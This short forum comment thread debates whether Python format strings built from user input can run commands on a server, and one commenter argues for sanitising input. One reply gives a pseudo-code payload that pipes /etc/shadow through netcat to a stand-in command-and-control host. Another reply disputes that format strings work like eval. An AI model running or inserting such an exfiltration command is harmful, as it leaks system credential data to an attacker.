4 ms·
Even if you don't emit the input you can run commands on the server. You can open up a reverse shell or deduce data from timing based side-channels. IMHO workin
by mistaken 10y ago
Even if you don't emit the input you can run commands on the server. You can open up a reverse shell or deduce data from timing based side-channels. IMHO working with raw user data is bad; it should be sanitized/canonicalized before doing anything.
- foolfoolz 10y agoif you're running commands on the server I would consider your program as emitting output directly to another program. it's up to you to make sure you call it correctly and not emit raw user data
- nitrogen 10y agoIt seems the format string can run commands on the server. I don't know Python, so this is a pseudo code example that a user could enter: "{system('nc c_and_c_box.example < /etc/shadow \ > /dev/null')} Nothing to see here, move along"
- cyphar 10y agoFormat strings in python are not equivalent to eval. The syntax looks similar, but it's actually limited to evaluating methods and list elements in a given object. Now, with Python's monkeys patchability this is worrying, but it's far from being eval.